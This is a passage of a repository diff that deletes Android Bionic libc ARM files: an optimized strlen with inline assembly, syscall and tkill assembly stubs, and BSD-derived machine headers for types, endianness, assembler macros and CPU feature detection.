* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <machine/cpu-features.h>
|
||||
|
||||
size_t strlen(const char *s)
|
||||
{
|
||||
__builtin_prefetch(s);
|
||||
__builtin_prefetch(s+32);
|
||||
|
||||
union {
|
||||
const char *b;
|
||||
const uint32_t *w;
|
||||
uintptr_t i;
|
||||
} u;
|
||||
|
||||
// these are some scratch variables for the asm code below
|
||||
uint32_t v, t;
|
||||
|
||||
// initialize the string length to zero
|
||||
size_t l = 0;
|
||||
|
||||
// align the pointer to a 32-bit word boundary
|
||||
u.b = s;
|
||||
while (u.i & 0x3) {
|
||||
if (__builtin_expect(*u.b++ == 0, 0)) {
|
||||
goto done;
|
||||
}
|
||||
l++;
|
||||
}
|
||||
|
||||
// loop for each word, testing if it contains a zero byte
|
||||
// if so, exit the loop and update the length.
|
||||
// We need to process 32 bytes per loop to schedule PLD properly
|
||||
// and achieve the maximum bus speed.
|
||||
asm(
|
||||
"ldr %[v], [ %[s] ], #4 \n"
|
||||
"sub %[l], %[l], %[s] \n"
|
||||
"0: \n"
|
||||
#if __ARM_HAVE_PLD
|
||||
"pld [ %[s], #64 ] \n"
|
||||
#endif
|
||||
"sub %[t], %[v], %[mask], lsr #7\n"
|
||||
"and %[t], %[t], %[mask] \n"
|
||||
"bics %[t], %[t], %[v] \n"
|
||||
"ldreq %[v], [ %[s] ], #4 \n"
|
||||
#if !defined(__OPTIMIZE_SIZE__)
|
||||
"bne 1f \n"
|
||||
"sub %[t], %[v], %[mask], lsr #7\n"
|
||||
"and %[t], %[t], %[mask] \n"
|
||||
"bics %[t], %[t], %[v] \n"
|
||||
"ldreq %[v], [ %[s] ], #4 \n"
|
||||
"bne 1f \n"
|
||||
"sub %[t], %[v], %[mask], lsr #7\n"
|
||||
"and %[t], %[t], %[mask] \n"
|
||||
"bics %[t], %[t], %[v] \n"
|
||||
"ldreq %[v], [ %[s] ], #4 \n"
|
||||
"bne 1f \n"
|
||||
"sub %[t], %[v], %[mask], lsr #7\n"
|
||||
"and %[t], %[t], %[mask] \n"
|
||||
"bics %[t], %[t], %[v] \n"
|
||||
"ldreq %[v], [ %[s] ], #4 \n"
|
||||
"bne 1f \n"
|
||||
"sub %[t], %[v], %[mask], lsr #7\n"
|
||||
"and %[t], %[t], %[mask] \n"
|
||||
"bics %[t], %[t], %[v] \n"
|
||||
"ldreq %[v], [ %[s] ], #4 \n"
|
||||
"bne 1f \n"
|
||||
"sub %[t], %[v], %[mask], lsr #7\n"
|
||||
"and %[t], %[t], %[mask] \n"
|
||||
"bics %[t], %[t], %[v] \n"
|
||||
"ldreq %[v], [ %[s] ], #4 \n"
|
||||
"bne 1f \n"
|
||||
"sub %[t], %[v], %[mask], lsr #7\n"
|
||||
"and %[t], %[t], %[mask] \n"
|
||||
"bics %[t], %[t], %[v] \n"
|
||||
"ldreq %[v], [ %[s] ], #4 \n"
|
||||
"bne 1f \n"
|
||||
"sub %[t], %[v], %[mask], lsr #7\n"
|
||||
"and %[t], %[t], %[mask] \n"
|
||||
"bics %[t], %[t], %[v] \n"
|
||||
"ldreq %[v], [ %[s] ], #4 \n"
|
||||
#endif
|
||||
"beq 0b \n"
|
||||
"1: \n"
|
||||
"add %[l], %[l], %[s] \n"
|
||||
"tst %[v], #0xFF \n"
|
||||
"beq 2f \n"
|
||||
"add %[l], %[l], #1 \n"
|
||||
"tst %[v], #0xFF00 \n"
|
||||
"beq 2f \n"
|
||||
"add %[l], %[l], #1 \n"
|
||||
"tst %[v], #0xFF0000 \n"
|
||||
"addne %[l], %[l], #1 \n"
|
||||
"2: \n"
|
||||
: [l]"=&r"(l), [v]"=&r"(v), [t]"=&r"(t), [s]"=&r"(u.b)
|
||||
: "%[l]"(l), "%[s]"(u.b), [mask]"r"(0x80808080UL)
|
||||
: "cc"
|
||||
);
|
||||
|
||||
done:
|
||||
return l;
|
||||
}
|
|
@ -1,71 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
|
||||
.text
|
||||
.align 4
|
||||
.type syscall,#function
|
||||
.globl syscall
|
||||
|
||||
.text
|
||||
.align
|
||||
|
||||
#if __ARM_EABI__
|
||||
|
||||
syscall:
|
||||
mov ip, sp
|
||||
stmfd sp!, {r4, r5, r6, r7}
|
||||
mov r7, r0
|
||||
mov r0, r1
|
||||
mov r1, r2
|
||||
mov r2, r3
|
||||
ldmfd ip, {r3, r4, r5, r6}
|
||||
swi #0
|
||||
ldmfd sp!, {r4, r5, r6, r7}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
|
||||
#else
|
||||
|
||||
#ifndef __NR_syscall
|
||||
#define __NR_syscall 113
|
||||
#endif
|
||||
|
||||
syscall:
|
||||
stmfd sp!, {r4, r5, lr}
|
||||
ldr r4, [sp, #12]
|
||||
ldr r5, [sp, #16]
|
||||
swi __NR_syscall
|
||||
ldmfd sp!, {r4, r5, lr}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
||||
|
||||
#endif
|
|
@ -1,53 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
/* unlike our auto-generated syscall stubs, this code saves lr
|
||||
on the stack, as well as a few other registers. this makes
|
||||
our stack unwinder happy, when we generate debug stack
|
||||
traces after the C library or other parts of the system
|
||||
abort due to a fatal runtime error (e.g. detection
|
||||
of a corrupted malloc heap).
|
||||
*/
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
#ifndef __NR_tkill
|
||||
#define __NR_tkill 238
|
||||
#endif
|
||||
|
||||
.text
|
||||
.type tkill, #function
|
||||
.globl tkill
|
||||
.align 4
|
||||
|
||||
tkill:
|
||||
stmfd sp!, {r4-r7, ip, lr}
|
||||
ldr r7, =__NR_tkill
|
||||
swi #0
|
||||
ldmfd sp!, {r4-r7, ip, lr}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
|
@ -1,10 +0,0 @@
|
|||
/* $OpenBSD: endian.h,v 1.3 2005/12/13 00:35:23 millert Exp $ */
|
||||
|
||||
#ifdef __ARMEB__
|
||||
#define _BYTE_ORDER _BIG_ENDIAN
|
||||
#else
|
||||
#define _BYTE_ORDER _LITTLE_ENDIAN
|
||||
#endif
|
||||
#define __STRICT_ALIGNMENT
|
||||
#include <sys/types.h>
|
||||
#include <sys/endian.h>
|
|
@ -1,127 +0,0 @@
|
|||
/* $OpenBSD: _types.h,v 1.3 2006/02/14 18:12:58 miod Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)types.h 8.3 (Berkeley) 1/5/94
|
||||
* @(#)ansi.h 8.2 (Berkeley) 1/4/94
|
||||
*/
|
||||
|
||||
#ifndef _ARM__TYPES_H_
|
||||
#define _ARM__TYPES_H_
|
||||
|
||||
|
||||
#if !defined(__ARM_EABI__)
|
||||
/* the kernel defines size_t as unsigned int, but g++ wants it to be unsigned long */
|
||||
#define _SIZE_T
|
||||
#define _SSIZE_T
|
||||
#define _PTRDIFF_T
|
||||
typedef unsigned long size_t;
|
||||
typedef long ssize_t;
|
||||
typedef long ptrdiff_t;
|
||||
#endif
|
||||
|
||||
//#include <linux/types.h>
|
||||
|
||||
/* 7.18.1.1 Exact-width integer types */
|
||||
typedef __signed char __int8_t;
|
||||
typedef unsigned char __uint8_t;
|
||||
typedef short __int16_t;
|
||||
typedef unsigned short __uint16_t;
|
||||
typedef int __int32_t;
|
||||
typedef unsigned int __uint32_t;
|
||||
/* LONGLONG */
|
||||
typedef long long __int64_t;
|
||||
/* LONGLONG */
|
||||
typedef unsigned long long __uint64_t;
|
||||
|
||||
/* 7.18.1.2 Minimum-width integer types */
|
||||
typedef __int8_t __int_least8_t;
|
||||
typedef __uint8_t __uint_least8_t;
|
||||
typedef __int16_t __int_least16_t;
|
||||
typedef __uint16_t __uint_least16_t;
|
||||
typedef __int32_t __int_least32_t;
|
||||
typedef __uint32_t __uint_least32_t;
|
||||
typedef __int64_t __int_least64_t;
|
||||
typedef __uint64_t __uint_least64_t;
|
||||
|
||||
/* 7.18.1.3 Fastest minimum-width integer types */
|
||||
typedef __int32_t __int_fast8_t;
|
||||
typedef __uint32_t __uint_fast8_t;
|
||||
typedef __int32_t __int_fast16_t;
|
||||
typedef __uint32_t __uint_fast16_t;
|
||||
typedef __int32_t __int_fast32_t;
|
||||
typedef __uint32_t __uint_fast32_t;
|
||||
typedef __int64_t __int_fast64_t;
|
||||
typedef __uint64_t __uint_fast64_t;
|
||||
|
||||
/* 7.18.1.4 Integer types capable of holding object pointers */
|
||||
typedef int __intptr_t;
|
||||
typedef unsigned int __uintptr_t;
|
||||
|
||||
/* 7.18.1.5 Greatest-width integer types */
|
||||
typedef __int64_t __intmax_t;
|
||||
typedef __uint64_t __uintmax_t;
|
||||
|
||||
/* Register size */
|
||||
typedef __int32_t __register_t;
|
||||
|
||||
/* VM system types */
|
||||
typedef unsigned long __vaddr_t;
|
||||
typedef unsigned long __paddr_t;
|
||||
typedef unsigned long __vsize_t;
|
||||
typedef unsigned long __psize_t;
|
||||
|
||||
/* Standard system types */
|
||||
typedef int __clock_t;
|
||||
typedef int __clockid_t;
|
||||
typedef long __ptrdiff_t;
|
||||
typedef int __time_t;
|
||||
typedef int __timer_t;
|
||||
#if defined(__GNUC__) && __GNUC__ >= 3
|
||||
typedef __builtin_va_list __va_list;
|
||||
#else
|
||||
typedef char * __va_list;
|
||||
#endif
|
||||
|
||||
/* Wide character support types */
|
||||
#ifndef __cplusplus
|
||||
typedef int __wchar_t;
|
||||
#endif
|
||||
typedef int __wint_t;
|
||||
typedef int __rune_t;
|
||||
typedef void * __wctrans_t;
|
||||
typedef void * __wctype_t;
|
||||
|
||||
#ifdef __ARMEB__
|
||||
#define _BYTE_ORDER _BIG_ENDIAN
|
||||
#else
|
||||
#define _BYTE_ORDER _LITTLE_ENDIAN
|
||||
#endif
|
||||
|
||||
#endif /* _ARM__TYPES_H_ */
|
|
@ -1,130 +0,0 @@
|
|||
/* $OpenBSD: asm.h,v 1.1 2004/02/01 05:09:49 drahn Exp $ */
|
||||
/* $NetBSD: asm.h,v 1.4 2001/07/16 05:43:32 matt Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 1990 The Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* William Jolitz.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* from: @(#)asm.h 5.5 (Berkeley) 5/7/91
|
||||
*/
|
||||
|
||||
#ifndef _ARM32_ASM_H_
|
||||
#define _ARM32_ASM_H_
|
||||
|
||||
#ifdef __ELF__
|
||||
# define _C_LABEL(x) x
|
||||
#else
|
||||
# ifdef __STDC__
|
||||
# define _C_LABEL(x) _ ## x
|
||||
# else
|
||||
# define _C_LABEL(x) _/**/x
|
||||
# endif
|
||||
#endif
|
||||
#define _ASM_LABEL(x) x
|
||||
|
||||
#ifdef __STDC__
|
||||
# define __CONCAT(x,y) x ## y
|
||||
# define __STRING(x) #x
|
||||
#else
|
||||
# define __CONCAT(x,y) x/**/y
|
||||
# define __STRING(x) "x"
|
||||
#endif
|
||||
|
||||
#ifndef _ALIGN_TEXT
|
||||
# define _ALIGN_TEXT .align 0
|
||||
#endif
|
||||
|
||||
/*
|
||||
* gas/arm uses @ as a single comment character and thus cannot be used here
|
||||
* Instead it recognised the # instead of an @ symbols in .type directives
|
||||
* We define a couple of macros so that assembly code will not be dependant
|
||||
* on one or the other.
|
||||
*/
|
||||
#define _ASM_TYPE_FUNCTION #function
|
||||
#define _ASM_TYPE_OBJECT #object
|
||||
#define _ENTRY(x) \
|
||||
.text; _ALIGN_TEXT; .globl x; .type x,_ASM_TYPE_FUNCTION; x:
|
||||
|
||||
#ifdef GPROF
|
||||
# ifdef __ELF__
|
||||
# define _PROF_PROLOGUE \
|
||||
mov ip, lr; bl __mcount
|
||||
# else
|
||||
# define _PROF_PROLOGUE \
|
||||
mov ip,lr; bl mcount
|
||||
# endif
|
||||
#else
|
||||
# define _PROF_PROLOGUE
|
||||
#endif
|
||||
|
||||
#define ENTRY(y) _ENTRY(_C_LABEL(y)); _PROF_PROLOGUE
|
||||
#define ENTRY_NP(y) _ENTRY(_C_LABEL(y))
|
||||
#define ASENTRY(y) _ENTRY(_ASM_LABEL(y)); _PROF_PROLOGUE
|
||||
#define ASENTRY_NP(y) _ENTRY(_ASM_LABEL(y))
|
||||
|
||||
#define ASMSTR .asciz
|
||||
|
||||
#if defined(__ELF__) && defined(PIC)
|
||||
#ifdef __STDC__
|
||||
#define PIC_SYM(x,y) x ## ( ## y ## )
|
||||
#else
|
||||
#define PIC_SYM(x,y) x/**/(/**/y/**/)
|
||||
#endif
|
||||
#else
|
||||
#define PIC_SYM(x,y) x
|
||||
#endif
|
||||
|
||||
#ifdef __ELF__
|
||||
#define RCSID(x) .section ".ident"; .asciz x
|
||||
#else
|
||||
#define RCSID(x) .text; .asciz x
|
||||
#endif
|
||||
|
||||
#ifdef __ELF__
|
||||
#define WEAK_ALIAS(alias,sym) \
|
||||
.weak alias; \
|
||||
alias = sym
|
||||
#endif
|
||||
|
||||
#ifdef __STDC__
|
||||
#define WARN_REFERENCES(sym,msg) \
|
||||
.stabs msg ## ,30,0,0,0 ; \
|
||||
.stabs __STRING(_C_LABEL(sym)) ## ,1,0,0,0
|
||||
#elif defined(__ELF__)
|
||||
#define WARN_REFERENCES(sym,msg) \
|
||||
.stabs msg,30,0,0,0 ; \
|
||||
.stabs __STRING(sym),1,0,0,0
|
||||
#else
|
||||
#define WARN_REFERENCES(sym,msg) \
|
||||
.stabs msg,30,0,0,0 ; \
|
||||
.stabs __STRING(_/**/sym),1,0,0,0
|
||||
#endif /* __STDC__ */
|
||||
|
||||
#endif /* !_ARM_ASM_H_ */
|
|
@ -1,19 +0,0 @@
|
|||
/* $OpenBSD: cdefs.h,v 1.2 2005/11/24 20:46:44 deraadt Exp $ */
|
||||
|
||||
#ifndef _MACHINE_CDEFS_H_
|
||||
#define _MACHINE_CDEFS_H_
|
||||
|
||||
#if defined(lint)
|
||||
#define __indr_reference(sym,alias) __lint_equal__(sym,alias)
|
||||
#define __warn_references(sym,msg)
|
||||
#define __weak_alias(alias,sym) __lint_equal__(sym,alias)
|
||||
#elif defined(__GNUC__) && defined(__STDC__)
|
||||
#define __weak_alias(alias,sym) \
|
||||
__asm__(".weak " __STRING(alias) " ; " __STRING(alias) \
|
||||
" = " __STRING(sym));
|
||||
#define __warn_references(sym,msg) \
|
||||
__asm__(".section .gnu.warning." __STRING(sym) \
|
||||
" ; .ascii \"" msg "\" ; .text");
|
||||
#endif
|
||||
|
||||
#endif /* !_MACHINE_CDEFS_H_ */
|
|
@ -1,171 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#ifndef _ARM_MACHINE_CPU_FEATURES_H
|
||||
#define _ARM_MACHINE_CPU_FEATURES_H
|
||||
|
||||
/* The purpose of this file is to define several macros corresponding
|
||||
* to CPU features that may or may not be available at build time on
|
||||
* on the target CPU.
|
||||
*
|
||||
* This is done to abstract us from the various ARM Architecture
|
||||
* quirks and alphabet soup.
|
||||
*
|
||||
* IMPORTANT: We have no intention to support anything below an ARMv4T !
|
||||
*/
|
||||
|
||||
/* _ARM_ARCH_REVISION is a number corresponding to the ARM revision
|
||||
* we're going to support
|
||||
*
|
||||
* it looks like our toolchain doesn't define __ARM_ARCH__
|
||||
* so try to guess it.
|
||||
*
|
||||
*
|
||||
*
|
||||
*/
|
||||
#ifndef __ARM_ARCH__
|
||||
|
||||
# if defined __ARM_ARCH_7__ || defined __ARM_ARCH_7A__ || \
|
||||
defined __ARM_ARCH_7R__ || defined __ARM_ARCH_7M__
|
||||
|
||||
# define __ARM_ARCH__ 7
|
||||
|
||||
# elif defined __ARM_ARCH_6__ || defined __ARM_ARCH_6J__ || \
|
||||
defined __ARM_ARCH_6K__ || defined __ARM_ARCH_6Z__ || \
|
||||
defined __ARM_ARCH_6KZ__ || defined __ARM_ARCH_6T2__
|
||||
#
|
||||
# define __ARM_ARCH__ 6
|
||||
#
|
||||
# elif defined __ARM_ARCH_5__ || defined __ARM_ARCH_5T__ || \
|
||||
defined __ARM_ARCH_5TE__ || defined __ARM_ARCH_5TEJ__
|
||||
#
|
||||
# define __ARM_ARCH__ 5
|
||||
#
|
||||
# elif defined __ARM_ARCH_4T__
|
||||
#
|
||||
# define __ARM_ARCH__ 4
|
||||
#
|
||||
# elif defined __ARM_ARCH_4__
|
||||
# error ARMv4 is not supported, please use ARMv4T at a minimum
|
||||
# else
|
||||
# error Unknown or unsupported ARM architecture
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* experimental feature used to check that our ARMv4 workarounds
|
||||
* work correctly without a real ARMv4 machine */
|
||||
#ifdef BIONIC_EXPERIMENTAL_FORCE_ARMV4
|
||||
# undef __ARM_ARCH__
|
||||
# define __ARM_ARCH__ 4
|
||||
#endif
|
||||
|
||||
/* define __ARM_HAVE_5TE if we have the ARMv5TE instructions */
|
||||
#if __ARM_ARCH__ > 5
|
||||
# define __ARM_HAVE_5TE 1
|
||||
#elif __ARM_ARCH__ == 5
|
||||
# if defined __ARM_ARCH_5TE__ || defined __ARM_ARCH_5TEJ__
|
||||
# define __ARM_HAVE_5TE 1
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* instructions introduced in ARMv5 */
|
||||
#if __ARM_ARCH__ >= 5
|
||||
# define __ARM_HAVE_BLX 1
|
||||
# define __ARM_HAVE_CLZ 1
|
||||
# define __ARM_HAVE_LDC2 1
|
||||
# define __ARM_HAVE_MCR2 1
|
||||
# define __ARM_HAVE_MRC2 1
|
||||
# define __ARM_HAVE_STC2 1
|
||||
#endif
|
||||
|
||||
/* ARMv5TE introduces a few instructions */
|
||||
#if __ARM_HAVE_5TE
|
||||
# define __ARM_HAVE_PLD 1
|
||||
# define __ARM_HAVE_MCRR 1
|
||||
# define __ARM_HAVE_MRRC 1
|
||||
#endif
|
||||
|
||||
/* define __ARM_HAVE_HALFWORD_MULTIPLY when half-word multiply instructions
|
||||
* this means variants of: smul, smulw, smla, smlaw, smlal
|
||||
*/
|
||||
#if __ARM_HAVE_5TE
|
||||
# define __ARM_HAVE_HALFWORD_MULTIPLY 1
|
||||
#endif
|
||||
|
||||
/* define __ARM_HAVE_PAIR_LOAD_STORE when 64-bit memory loads and stored
|
||||
* into/from a pair of 32-bit registers is supported throuhg 'ldrd' and 'strd'
|
||||
*/
|
||||
#if __ARM_HAVE_5TE
|
||||
# define __ARM_HAVE_PAIR_LOAD_STORE 1
|
||||
#endif
|
||||
|
||||
/* define __ARM_HAVE_SATURATED_ARITHMETIC is you have the saturated integer
|
||||
* arithmetic instructions: qdd, qdadd, qsub, qdsub
|
||||
*/
|
||||
#if __ARM_HAVE_5TE
|
||||
# define __ARM_HAVE_SATURATED_ARITHMETIC 1
|
||||
#endif
|
||||
|
||||
/* define __ARM_HAVE_PC_INTERWORK when a direct assignment to the
|
||||
* pc register will switch into thumb/ARM mode depending on bit 0
|
||||
* of the new instruction address. Before ARMv5, this was not the
|
||||
* case, and you have to write:
|
||||
*
|
||||
* mov r0, [<some address>]
|
||||
* bx r0
|
||||
*
|
||||
* instead of:
|
||||
*
|
||||
* ldr pc, [<some address>]
|
||||
*
|
||||
* note that this affects any instruction that explicitely changes the
|
||||
* value of the pc register, including ldm { ...,pc } or 'add pc, #offset'
|
||||
*/
|
||||
#if __ARM_ARCH__ >= 5
|
||||
# define __ARM_HAVE_PC_INTERWORK
|
||||
#endif
|
||||
|
||||
/* define _ARM_HAVE_LDREX_STREX for ARMv6 and ARMv7 architecure to be
|
||||
* used in replacement of depricated swp instruction
|
||||
*/
|
||||
#if __ARM_ARCH__ >= 6
|
||||
# define _ARM_HAVE_LDREX_STREX
|
||||
#endif
|
||||
|
||||
|
||||
/* Assembly-only macros */
|
||||
|
||||
/* define a handy PLD(address) macro since the cache preload
|
||||
* is an optional opcode
|
||||
*/
|
||||
#if __ARM_HAVE_PLD
|
||||
# define PLD(reg,offset) pld [reg, offset]
|
||||
#else
|
||||
# define PLD(reg,offset) /* nothing */
|
||||
#endif
|
||||
|
||||
#endif /* _ARM_MACHINE_CPU_FEATURES_H */
|
|
@ -1,50 +0,0 @@
|
|||
/* $OpenBSD: exec.h,v 1.9 2003/04/17 03:42:14 drahn Exp $ */
|
||||
/* $NetBSD: exec.h,v 1.6 1994/10/27 04:16:05 cgd Exp $ */
|
||||
|
||||
/*
|
||||
